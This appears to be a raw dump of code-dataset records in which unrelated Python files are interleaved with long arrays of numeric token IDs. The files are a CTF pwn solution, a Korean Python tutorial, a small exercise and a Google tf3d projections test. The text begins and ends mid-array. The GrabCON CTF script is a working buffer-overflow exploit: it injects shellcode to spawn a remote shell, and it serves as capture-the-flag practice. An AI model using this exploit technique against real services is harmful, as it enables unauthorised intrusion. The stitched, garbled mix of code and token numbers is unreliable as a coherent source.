938, 29898, 1745, 475, 672, 847, 8542, 29897, 13, 9651, 21162, 353, 21162, 1273, 8542, 13, 9651, 18111, 29889, 4397, 29898, 2248, 29897, 13, 9651, 3001, 353, 8542, 13, 4706, 3935, 29918, 26740, 353, 6571, 13, 4706, 363, 432, 297, 3464, 29898, 2435, 29898, 2248, 267, 22164, 13, 9651, 3935, 29918, 26740, 29961, 26740, 29918, 7039, 29961, 29926, 5262, 353, 6055, 29961, 29926, 3816, 2248, 267, 29961, 29926, 5262, 13, 4706, 736, 18111, 29892, 3935, 29918, 26740, 13, 13, 1678, 18111, 29892, 3935, 29918, 26740, 353, 679, 29918, 26740, 29898, 5085, 29889, 26740, 29892, 3001, 29892, 6055, 29892, 4444, 29918, 7039, 29897, 13, 13, 1678, 8087, 353, 1222, 15362, 5756, 29898, 978, 29922, 5746, 13171, 7833, 3919, 29918, 5813, 29897, 13, 1678, 396, 671, 8087, 29889, 1202, 304, 788, 4128, 297, 278, 6055, 470, 788, 4128, 266, 29874, 3394, 304, 599, 17643, 13, 1678, 396, 591, 1286, 3345, 630, 445, 760, 29892, 408, 1472, 408, 366, 2715, 6055, 5149, 964, 278, 7049, 472, 278, 1369, 310, 445, 1824, 13, 1678, 396, 896, 881, 367, 2715, 304, 7639, 6336, 13, 1678, 363, 474, 297, 3464, 29898, 2435, 29898, 19304, 29918, 26740, 22164, 13, 4706, 4444, 29918, 978, 353, 4444, 29918, 7039, 29961, 29875, 29962, 13, 4706, 565, 4444, 29918, 978, 2804, 525, 6272, 29918, 978, 29915, 322, 4444, 29918, 978, 2804, 525, 26776, 2396, 13, 9651, 8087, 29889, 1202, 29898, 26740, 29918, 978, 29892, 3935, 29918, 26740, 29961, 26740, 29918, 978, 1402, 4444, 29918, 29879, 3496, 420, 29918, 13506, 29961, 29875, 1402, 3692, 29918, 1202, 29918, 517, 29918, 29879, 3496, 420, 29961, 29875, 2314, 13, 13, 1678, 8087, 29889, 1202, 877, 6272, 29918, 978, 742, 3935, 29918, 26740, 1839, 6272, 29918, 978, 7464, 15516, 5852, 29897, 13, 1678, 8087, 29889, 1202, 877, 26776, 742, 3935, 29918, 26740, 1839, 26776, 11287, 13, 13, 1678, 8087, 29889, 3389, 29898, 2220, 29918, 517, 29918, 3389, 29892, 954, 29918, 21970, 29922, 5085, 29889, 21970, 29892, 848, 29918, 3972, 29922, 7620, 29918, 1272, 29918, 3972, 29897, 13, 13, 1678, 1596, 28909, 29876, 13383, 13383, 4136, 2277, 18016, 1367, 8528, 29925, 11056, 835, 13383, 13383, 2277, 29937, 1495, 13, 1678, 1596, 877, 7827, 931, 363, 6856, 7639, 29901, 742, 2230, 29889, 2230, 580, 29899, 2962, 29918, 2230, 29897, 13, 2 ]
GRABCONCTF 2021/PWN/pwn2/pwn2_solve.py
yl-ang/CTF
0
68441
<gh_stars>0 from pwn import * r = remote('192.168.127.12', 1337) r.recvuntil('eat some ') stack_add = int(r.recvuntil('!\n', drop = True).decode(),16) payload = b'' # shellcraft.sh() is shell code, asm() compiles your shellcode and provides its binary string payload += asm(shellcraft.sh()) # print(shellcraft.sh()) payload += (294 - len(payload)) * b'A' payload += b'B' * 8 payload += p64(stack_add) r.sendline(payload) r.interactive() # flag = GrabCON{Y0U_g0t_Sh3ll_B4asics} # reference = https://github.com/datajerk/ctf-write-ups/blob/master/sunshinectf2020/speedrun/README.md#speedrun-03
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 282, 1233, 1053, 334, 13, 13, 13, 13, 29878, 353, 7592, 877, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29896, 29906, 29955, 29889, 29896, 29906, 742, 29871, 29896, 29941, 29941, 29955, 29897, 13, 13, 29878, 29889, 3757, 29894, 29305, 877, 29872, 271, 777, 25710, 13, 13, 1429, 29918, 1202, 353, 938, 29898, 29878, 29889, 3757, 29894, 29305, 877, 9903, 29876, 742, 5768, 353, 5852, 467, 13808, 3285, 29896, 29953, 29897, 13, 29871, 13, 23813, 29871, 353, 289, 4907, 13, 29937, 6473, 17293, 29889, 845, 580, 338, 6473, 775, 29892, 408, 29885, 580, 752, 5475, 596, 6473, 401, 322, 8128, 967, 7581, 1347, 13, 23813, 4619, 408, 29885, 29898, 15903, 17293, 29889, 845, 3101, 13, 29937, 1596, 29898, 15903, 17293, 29889, 845, 3101, 13, 23813, 4619, 313, 29906, 29929, 29946, 448, 7431, 29898, 23813, 876, 334, 289, 29915, 29909, 29915, 13, 23813, 4619, 289, 29915, 29933, 29915, 334, 29871, 29947, 13, 23813, 4619, 282, 29953, 29946, 29898, 1429, 29918, 1202, 29897, 13, 13, 29878, 29889, 6717, 1220, 29898, 23813, 29897, 13, 13, 29878, 29889, 1639, 4925, 580, 13, 13, 29937, 7353, 353, 22351, 6007, 29912, 29979, 29900, 29965, 29918, 29887, 29900, 29873, 29918, 2713, 29941, 645, 29918, 29933, 29946, 294, 1199, 29913, 13, 29937, 3407, 353, 2045, 597, 3292, 29889, 510, 29914, 1272, 29926, 5968, 29914, 312, 29888, 29899, 3539, 29899, 14340, 29914, 10054, 29914, 6207, 29914, 11445, 845, 457, 312, 29888, 29906, 29900, 29906, 29900, 29914, 19322, 3389, 29914, 16310, 2303, 29889, 3487, 29937, 19322, 3389, 29899, 29900, 29941, 13, 2 ]
1.Study/2. with computer/4.Programming/2.Python/8. Python_intermediate/p_chapter04_02.py
jskim0406/Study
0
118034
# chapter 04-02 # 시퀀스 형 # 파이썬의 자료구조 형태 : 컨테이너형 / 플랫 또는 가변형 / 불변형 # 자료형 1. 컨테이너(Container) : 서로 다른 자료형을 담을 수 있음 (리스트, 튜플, collections.deque) # 컨테이너 ex) a = [3, 3.0, 'a', [1,2]] # 자료형 2. 플랫(Flat) : 한 개의 자료형을 담을 수 있음 (str, bytes, bytearray, array.array, memoryview) # 자료형 1. 가변 : 리스트, bytearray, array.array, memoryview, collections.deque) # 자료형 2. 불변 : 튜플, str, bytes # 1. 리스트 및 튜플 고급 ### 1) tuple - unpacking print(divmod(100,9)) print(divmod(*(100,9))) print(*divmod(100,9)) # tuple unpacking x,y,*z = range(10) print(x,y,z) x,y,*z = 1,2 print(x,y,z) x,y,*z = 1,2,3,4,5,6 print(x,y,z) print() print() ### 2) mutable vs immutable ### ex) list vs tuple => 둘 다 container지만, 가변 vs 불면 ### immutable : reassignment 불가 list_ = [1,2,3] tuple_ = (1,2,3) print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) list_ = list_*2 tuple_ = tuple_*2 print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) # list는 동일한 주소에 새로운 데이터로 재할당이 가능하지만 # tuple은 동일한 주소에 재할당이 불가능. 따라서, tuple은 새로운 공간에 새롭게 *=2 결과를 할당 list_ *= 2 tuple_ *= 2 print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) print('\n') ### 3) sort vs sorted ##### reverse, key = len, key = str.lower(), key = func.. ### sorted : 정렬 후 새 객체 반환 ### sort : 정렬 in-place f_list = ['oragne', 'mango', 'papaya', 'strawberry'] print('sorted : ', sorted(f_list), '/ original : ', f_list) print('sorted : ', sorted(f_list, reverse=True), '/ original : ', f_list) print('sorted : ', sorted(f_list, key=len), '/ original : ', f_list) print('sorted : ', sorted(f_list, key=lambda x: x[-1]), '/ original : ', f_list) print('sort : ', f_list.sort(), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(reverse=True), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(key=len), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(key=lambda x: x[-1]), '/ original(in-place됨) : ', f_list)
[ 1, 396, 16385, 29871, 29900, 29946, 29899, 29900, 29906, 13, 29937, 29871, 30889, 240, 131, 131, 30784, 29871, 240, 155, 152, 13, 13, 29937, 29871, 240, 143, 143, 30393, 239, 144, 175, 30708, 29871, 31013, 238, 166, 143, 31231, 31408, 29871, 240, 155, 152, 240, 134, 159, 584, 29871, 239, 190, 171, 240, 136, 143, 30393, 238, 135, 139, 240, 155, 152, 847, 29871, 240, 151, 143, 238, 161, 174, 34, 29871, 238, 155, 147, 31081, 29871, 30903, 238, 182, 131, 240, 155, 152, 847, 29871, 238, 185, 139, 238, 182, 131, 240, 155, 152, 13, 29937, 29871, 31013, 238, 166, 143, 240, 155, 152, 29871, 29896, 29889, 29871, 239, 190, 171, 240, 136, 143, 30393, 238, 135, 139, 29898, 7895, 29897, 584, 29871, 31093, 30906, 29871, 30709, 238, 168, 187, 29871, 31013, 238, 166, 143, 240, 155, 152, 31286, 29871, 238, 142, 183, 31286, 29871, 30970, 29871, 239, 161, 139, 31966, 313, 30826, 30784, 31177, 29892, 29871, 240, 141, 159, 240, 151, 143, 29892, 16250, 29889, 311, 802, 29897, 13, 29937, 29871, 239, 190, 171, 240, 136, 143, 30393, 238, 135, 139, 429, 29897, 263, 353, 518, 29941, 29892, 29871, 29941, 29889, 29900, 29892, 525, 29874, 742, 518, 29896, 29892, 29906, 5262, 13, 29937, 29871, 31013, 238, 166, 143, 240, 155, 152, 29871, 29906, 29889, 29871, 240, 151, 143, 238, 161, 174, 29898, 29943, 5066, 29897, 584, 29871, 30877, 29871, 31789, 30708, 29871, 31013, 238, 166, 143, 240, 155, 152, 31286, 29871, 238, 142, 183, 31286, 29871, 30970, 29871, 239, 161, 139, 31966, 313, 710, 29892, 6262, 29892, 7023, 2378, 29892, 1409, 29889, 2378, 29892, 3370, 1493, 29897, 13, 13, 29937, 29871, 31013, 238, 166, 143, 240, 155, 152, 29871, 29896, 29889, 29871, 30903, 238, 182, 131, 584, 29871, 30826, 30784, 31177, 29892, 7023, 2378, 29892, 1409, 29889, 2378, 29892, 3370, 1493, 29892, 16250, 29889, 311, 802, 29897, 13, 29937, 29871, 31013, 238, 166, 143, 240, 155, 152, 29871, 29906, 29889, 29871, 238, 185, 139, 238, 182, 131, 584, 29871, 240, 141, 159, 240, 151, 143, 29892, 851, 29892, 6262, 13, 13, 13, 29937, 29871, 29896, 29889, 29871, 30826, 30784, 31177, 29871, 238, 179, 146, 29871, 240, 141, 159, 240, 151, 143, 29871, 31137, 237, 187, 140, 13, 2277, 29937, 29871, 29896, 29897, 18761, 448, 443, 4058, 292, 13, 2158, 29898, 4563, 1545, 29898, 29896, 29900, 29900, 29892, 29929, 876, 13, 2158, 29898, 4563, 1545, 10456, 29898, 29896, 29900, 29900, 29892, 29929, 4961, 13, 2158, 10456, 4563, 1545, 29898, 29896, 29900, 29900, 29892, 29929, 876, 396, 18761, 443, 4058, 292, 13, 13, 29916, 29892, 29891, 29892, 29930, 29920, 353, 3464, 29898, 29896, 29900, 29897, 13, 2158, 29898, 29916, 29892, 29891, 29892, 29920, 29897, 13, 29916, 29892, 29891, 29892, 29930, 29920, 353, 29871, 29896, 29892, 29906, 13, 2158, 29898, 29916, 29892, 29891, 29892, 29920, 29897, 13, 29916, 29892, 29891, 29892, 29930, 29920, 353, 29871, 29896, 29892, 29906, 29892, 29941, 29892, 29946, 29892, 29945, 29892, 29953, 13, 2158, 29898, 29916, 29892, 29891, 29892, 29920, 29897, 13, 13, 2158, 580, 13, 2158, 580, 13, 13, 2277, 29937, 29871, 29906, 29897, 26691, 7186, 5198, 9246, 13, 2277, 29937, 429, 29897, 1051, 7186, 18761, 1149, 29871, 238, 148, 155, 29871, 30709, 5639, 30811, 31826, 29892, 29871, 30903, 238, 182, 131, 7186, 29871, 238, 185, 139, 31747, 13, 2277, 29937, 5198, 9246, 584, 337, 465, 10194, 29871, 238, 185, 139, 30903, 13, 13, 1761, 29918, 353, 518, 29896, 29892, 29906, 29892, 29941, 29962, 13, 23583, 29918, 353, 313, 29896, 29892, 29906, 29892, 29941, 29897, 13, 2158, 29898, 1761, 3383, 18761, 19925, 13, 2158, 877, 1761, 29918, 1178, 584, 13420, 333, 29898, 1761, 29918, 511, 8207, 18761, 29918, 1178, 584, 13420, 333, 29898, 23583, 29918, 876, 13, 13, 1761, 29918, 353, 1051, 24563, 29906, 13, 23583, 29918, 353, 18761, 24563, 29906, 13, 2158, 29898, 1761, 3383, 18761, 19925, 13, 2158, 877, 1761, 29918, 1178, 584, 13420, 333, 29898, 1761, 29918, 511, 8207, 18761, 29918, 1178, 584, 13420, 333, 29898, 23583, 29918, 876, 13, 13, 29937, 1051, 31081, 29871, 31000, 31153, 30877, 29871, 30981, 31189, 31054, 29871, 239, 134, 139, 30906, 239, 157, 183, 29871, 238, 144, 179, 30393, 31856, 30906, 29871, 31973, 240, 152, 163, 238, 142, 188, 30393, 29871, 30903, 238, 141, 168, 30944, 30811, 31826, 13, 29937, 18761, 31354, 29871, 31000, 31153, 30877, 29871, 30981, 31189, 31054, 29871, 31973, 240, 152, 163, 238, 142, 188, 30393, 29871, 238, 185, 139, 30903, 238, 141, 168, 29889, 29871, 238, 151, 179, 31197, 31093, 29892, 18761, 31354, 29871, 239, 134, 139, 30906, 239, 157, 183, 29871, 31334, 237, 179, 135, 31054, 29871, 239, 134, 139, 238, 164, 176, 237, 181, 143, 334, 29922, 29906, 29871, 237, 181, 179, 31906, 31517, 29871, 240, 152, 163, 238, 142, 188, 13, 1761, 29918, 334, 29922, 29871, 29906, 13, 23583, 29918, 334, 29922, 29871, 29906, 13, 2158, 29898, 1761, 3383, 18761, 19925, 13, 2158, 877, 1761, 29918, 1178, 584, 13420, 333, 29898, 1761, 29918, 511, 8207, 18761, 29918, 1178, 584, 13420, 333, 29898, 23583, 29918, 876, 13, 13, 2158, 28909, 29876, 1495, 13, 13, 2277, 29937, 29871, 29941, 29897, 2656, 7186, 12705, 13, 4136, 29937, 11837, 29892, 1820, 353, 7431, 29892, 1820, 353, 851, 29889, 13609, 3285, 1820, 353, 3653, 636, 13, 13, 2277, 29937, 12705, 584, 29871, 30852, 238, 163, 175, 29871, 240, 158, 135, 29871, 239, 134, 139, 29871, 237, 179, 160, 239, 181, 183, 29871, 238, 179, 155, 240, 156, 155, 13, 2277, 29937, 2656, 584, 29871, 30852, 238, 163, 175, 297, 29899, 6689, 13, 29888, 29918, 1761, 353, 6024, 272, 5889, 742, 525, 29885, 4524, 742, 525, 29886, 481, 9010, 742, 525, 303, 1610, 16344, 2033, 13, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 11837, 29922, 5574, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 1820, 29922, 2435, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 1820, 29922, 2892, 921, 29901, 921, 14352, 29896, 11724, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 3285, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 29898, 24244, 29922, 5574, 511, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 29898, 1989, 29922, 2435, 511, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 921, 14352, 29896, 11724, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2 ]
python-objects_statements_and_data_structures-practice-master/even_in_range.py
valcal/python_practice
0
38837
<reponame>valcal/python_practice """ EVEN IN RANGE: Use range() to print all the even numbers from 0 to 10. """ for number in range(11): if number % 2 == 0: if number == 0: continue print(number)
[ 1, 529, 276, 1112, 420, 29958, 791, 1052, 29914, 4691, 29918, 29886, 1461, 625, 13, 15945, 29908, 13, 22240, 1430, 2672, 390, 24336, 29901, 4803, 3464, 580, 304, 1596, 599, 278, 1584, 3694, 515, 29871, 29900, 304, 29871, 29896, 29900, 29889, 13, 15945, 29908, 13, 13, 1454, 1353, 297, 3464, 29898, 29896, 29896, 1125, 13, 1678, 565, 1353, 1273, 29871, 29906, 1275, 29871, 29900, 29901, 13, 4706, 565, 1353, 1275, 29871, 29900, 29901, 13, 9651, 6773, 13, 4706, 1596, 29898, 4537, 29897, 13, 2 ]
tf3d/utils/projections_test.py
deepneuralmachine/google-research
23,901
44671
<reponame>deepneuralmachine/google-research # coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for tf3d.utils.projections.""" import numpy as np import tensorflow as tf from tf3d.utils import projections class ProjectionsTest(tf.test.TestCase): def _get_transformation_matrices(self): # pylint: disable=bad-whitespace rotate_world_to_camera = tf.constant([ [ 2.34773703e-04, -9.99944150e-01, -1.05634779e-02], [ 1.04494076e-02, 1.05653536e-02, -9.99889553e-01], [ 9.99945402e-01, 1.24365382e-04, 1.04513029e-02] ], dtype=tf.float32) translate_world_to_camera = tf.constant([0.05705245, -0.07546672, -0.26938692], dtype=tf.float32) tr_camera_to_image = tf.constant([ [ 721.53771973, 0. , 609.55932617], [ 0. , 721.53771973, 172.85400391], [ 0. , 0. , 1. ]], dtype=tf.float32) # pylint: enable=bad-whitespace return (rotate_world_to_camera, translate_world_to_camera, tr_camera_to_image) def test_to_camera_frame(self): num_points = 1000 original_wf_points = tf.random.uniform((num_points, 3), minval=-10.0, maxval=10.0) (rotate_world_to_camera, translate_world_to_camera, _) = self._get_transformation_matrices() cf_points = projections.to_camera_frame(original_wf_points, rotate_world_to_camera, translate_world_to_camera) computed_wf_points = projections.to_world_frame(cf_points, rotate_world_to_camera, translate_world_to_camera) self.assertAllClose(original_wf_points.numpy(), computed_wf_points.numpy()) self.assertEqual(original_wf_points.shape, (num_points, 3)) self.assertEqual(cf_points.shape, (num_points, 3)) self.assertEqual(computed_wf_points.shape, (num_points, 3)) def test_to_image_frame(self): height = 375 width = 1242 cf_points = tf.convert_to_tensor([ [0.0, 0.0, 10.0], [0.0, 0.2, 12.0], [0.0, -0.2, 20.0], [1.0, 0.0, 20.0], [-1.0, 0.0, 20.0], [0, 0, -10], [-1, 1, -20]], dtype=tf.float32) _, _, camera_intrinsics = self._get_transformation_matrices() image_points, within_image = projections.to_image_frame(cf_points, height, width, camera_intrinsics) np_image_points = image_points.numpy() np_within_image = within_image.numpy() self.assertEqual(np_within_image.sum(), 5) self.assertTrue((np_image_points[np_within_image] >= 0).all()) self.assertTrue((np_image_points[np_within_image, 0] < width).all()) self.assertTrue((np_image_points[np_within_image, 1] < height).all()) def test_image_frame_to_camera_frame(self): num_points = 10 height, width = 480, 640 image_frame = tf.concat([ tf.random.uniform( [num_points, 1], minval=0.0, maxval=width, dtype=tf.float32), tf.random.uniform( [num_points, 1], minval=0.0, maxval=height, dtype=tf.float32) ], axis=1) camera_intrinsics = tf.constant( [[500, 0., 320.], [0., 500., 120.], [0., 0., 1.]], dtype=tf.float32) camera_frame = projections.image_frame_to_camera_frame( image_frame=image_frame, camera_intrinsics=camera_intrinsics) self.assertEqual(camera_frame.shape, (num_points, 3)) def _test_create_image_from_rank1_values_unbatched(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((10,), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((10,), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=1) pixel_values = tf.ones((tf.shape(pixel_locations)[0],), dtype=tf.float32) created_image = projections.create_image_from_point_values_unbatched( pixel_locations=pixel_locations, pixel_values=pixel_values, image_height=image_height, image_width=image_width, default_value=255, use_sparse_tensor=use_sparse_tensor) self.assertAllClose(pixel_values.numpy(), np.ones((10,), dtype=np.uint8)) np_expected_image = np.full((image_height, image_width, 1), 255, np.uint8) np_yy = pixel_locations.numpy()[:, 0] np_xx = pixel_locations.numpy()[:, 1] np_expected_image[np_yy, np_xx, Ellipsis] = [1] self.assertAllClose(created_image.numpy(), np_expected_image) def _test_create_image_from_rank1_values(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((4, 10), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((4, 10), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=2) pixel_values = tf.random.uniform([4, 10, 3], minval=-2.0, maxval=2.0, dtype=tf.float32) num_valid_points = tf.constant([10, 3, 5, 7], dtype=tf.int32) created_image = projections.create_image_from_point_values( pixel_locations=pixel_locations, pixel_values=pixel_values, num_valid_points=num_valid_points, image_height=image_height, image_width=image_width, default_value=255.0, use_sparse_tensor=use_sparse_tensor) self.assertAllEqual(created_image.shape, np.array([4, 240, 320, 3])) def _test_create_image_from_rank2_values_unbatched(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((10,), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((10,), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=1) pixel_values = tf.random.uniform((10, 3), minval=0, maxval=255, dtype=tf.float32) created_image = projections.create_image_from_point_values_unbatched( pixel_locations=pixel_locations, pixel_values=pixel_values, image_height=image_height, image_width=image_width, default_value=0, use_sparse_tensor=use_sparse_tensor) self.assertEqual(created_image.shape, (image_height, image_width, 3)) np_pixel_locations = pixel_locations.numpy().round().astype(np.int32) np_yy = np_pixel_locations[:, 0] np_xx = np_pixel_locations[:, 1] self.assertAllClose( created_image.numpy()[np_yy, np_xx], pixel_values.numpy(), atol=1e-3) def test_create_image_rank1_unbatched_sparse(self): self._test_create_image_from_rank1_values_unbatched(use_sparse_tensor=True) def test_create_image_rank1_unbatched_scatter(self): self._test_create_image_from_rank1_values_unbatched(use_sparse_tensor=False) def test_create_image_rank1_sparse(self): self._test_create_image_from_rank1_values(use_sparse_tensor=True) def test_create_image_rank1_scatter(self): self._test_create_image_from_rank1_values(use_sparse_tensor=False) def test_create_image_rank2_unbatched_sparse(self): self._test_create_image_from_rank2_values_unbatched(use_sparse_tensor=True) def test_create_image_rank2_unbatched_scatter(self): self._test_create_image_from_rank2_values_unbatched(use_sparse_tensor=False) def _test_move_image_values_to_points(self, use_sparse_tensor): image_values = tf.constant( [[[1.0, 2.0], [3.0, 4.0]], [[5.0, 6.0], [7.0, 8.0]], [[9.0, 10.0], [11.0, 12.0]]], dtype=tf.float32) image_point_indices = tf.constant([[[1], [-1]], [[6], [-1]], [[0], [3]]], dtype=tf.int32) num_points = 10 point_values = projections.move_image_values_to_points( image_values=image_values, image_point_indices=image_point_indices, num_points=num_points, default_value=-1.0, use_sparse_tensor=use_sparse_tensor) expected_point_values = tf.constant( [[9.0, 10.0], [1.0, 2.0], [-1.0, -1.0], [11.0, 12.0], [-1.0, -1.0], [-1.0, -1.0], [5.0, 6.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0]], dtype=tf.float32) self.assertAllClose(point_values.numpy(), expected_point_values.numpy()) def test_move_image_values_to_points_sparse(self): self._test_move_image_values_to_points(use_sparse_tensor=True) def test_move_image_values_to_points_scatter(self): self._test_move_image_values_to_points(use_sparse_tensor=False) def test_update_pixel_locations_given_deformed_meshgrid(self): pixel_locations = tf.constant([[0, 1], [1, 1], [2, 0], [2, 2], [0, 2], [0, 1], [1, 1], [3, 3]], dtype=tf.int32) meshgrid_y = tf.constant([[1, 1, 1, 1, 1], [2, 2, 2, 2, 2], [3, 3, 3, 3, 3], [4, 4, 4, 4, 4]]) meshgrid_x = tf.constant([[1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5]]) meshgrid_yx = tf.stack([meshgrid_y, meshgrid_x], axis=2) deformed_meshgrid_y = tf.constant([[-1, 3, 2, 2], [-1, -1, 3, 2], [1, -1, 2, -1]]) deformed_meshgrid_x = tf.constant([[2, -2, 2, -1], [-1, 3, 2, 3], [2, -1, 3, -1]]) deformed_meshgrid_yx = tf.stack([deformed_meshgrid_y, deformed_meshgrid_x], axis=2) updated_pixel_locations = ( projections.update_pixel_locations_given_deformed_meshgrid( pixel_locations=pixel_locations, original_meshgrid=meshgrid_yx, deformed_meshgrid=deformed_meshgrid_yx)) expected_updated_pixel_locations = tf.constant([[2, 0], [0, 2], [-1, -1], [-1, -1], [-1, -1], [2, 0], [0, 2], [-1, -1]], dtype=tf.int32) self.assertAllEqual(updated_pixel_locations.numpy(), expected_updated_pixel_locations.numpy()) def test_project_points_with_depth_visibility_check(self): point_positions = tf.constant([[-1.0, -1.0, 1.0], [-1.0, 1.0, 1.0], [1.0, -1.0, 1.0], [1.0, 1.0, 1.0]], dtype=tf.float32) camera_intrinsics = tf.constant([[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], dtype=tf.float32) camera_rotation_matrix = tf.constant([[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], dtype=tf.float32) camera_translation = tf.constant([5.0, 5.0, 0.0], dtype=tf.float32) image_width = 10 image_height = 10 depth_image_00 = tf.ones([5, 5, 1], dtype=tf.float32) * 1.0 depth_image_01 = tf.ones([5, 5, 1], dtype=tf.float32) * 2.0 depth_image_10 = tf.ones([5, 5, 1], dtype=tf.float32) * 1.0 depth_image_11 = tf.ones([5, 5, 1], dtype=tf.float32) * 4.0 depth_image = tf.concat([ tf.concat([depth_image_00, depth_image_01], axis=1), tf.concat([depth_image_10, depth_image_11], axis=1) ], axis=0) depth_threshold = 0.1 (points_in_image_frame, visibility) = projections.project_points_with_depth_visibility_check( point_positions=point_positions, camera_intrinsics=camera_intrinsics, camera_rotation_matrix=camera_rotation_matrix, camera_translation=camera_translation, image_width=image_width, image_height=image_height, depth_image=depth_image, depth_intrinsics=camera_intrinsics, depth_threshold=depth_threshold) self.assertAllEqual( visibility.numpy().astype(np.int32), np.array([1, 1, 0, 0])) self.assertAllEqual(points_in_image_frame.numpy(), np.array([[4, 4], [4, 6], [6, 4], [6, 6]])) if __name__ == '__main__': tf.test.main()
[ 1, 529, 276, 1112, 420, 29958, 24535, 484, 3631, 23523, 29914, 3608, 29899, 690, 2842, 13, 29937, 14137, 29922, 9420, 29899, 29947, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29906, 29896, 450, 5087, 10550, 13189, 943, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 15945, 29908, 24376, 363, 15886, 29941, 29881, 29889, 13239, 29889, 771, 24247, 1213, 15945, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 26110, 408, 15886, 13, 3166, 15886, 29941, 29881, 29889, 13239, 1053, 410, 24247, 13, 13, 13, 1990, 1019, 24247, 3057, 29898, 13264, 29889, 1688, 29889, 3057, 8259, 1125, 13, 13, 29871, 822, 903, 657, 29918, 3286, 5404, 29918, 2922, 11669, 29898, 1311, 1125, 13, 1678, 396, 282, 2904, 524, 29901, 11262, 29922, 12313, 29899, 1332, 3246, 3535, 13, 1678, 16734, 29918, 11526, 29918, 517, 29918, 26065, 353, 15886, 29889, 23362, 4197, 13, 4706, 518, 259, 29906, 29889, 29941, 29946, 29955, 29955, 29941, 29955, 29900, 29941, 29872, 29899, 29900, 29946, 29892, 29871, 448, 29929, 29889, 29929, 29929, 29929, 29946, 29946, 29896, 29945, 29900, 29872, 29899, 29900, 29896, 29892, 29871, 448, 29896, 29889, 29900, 29945, 29953, 29941, 29946, 29955, 29955, 29929, 29872, 29899, 29900, 29906, 1402, 13, 4706, 518, 259, 29896, 29889, 29900, 29946, 29946, 29929, 29946, 29900, 29955, 29953, 29872, 29899, 29900, 29906, 29892, 1678, 29896, 29889, 29900, 29945, 29953, 29945, 29941, 29945, 29941, 29953, 29872, 29899, 29900, 29906, 29892, 29871, 448, 29929, 29889, 29929, 29929, 29947, 29947, 29929, 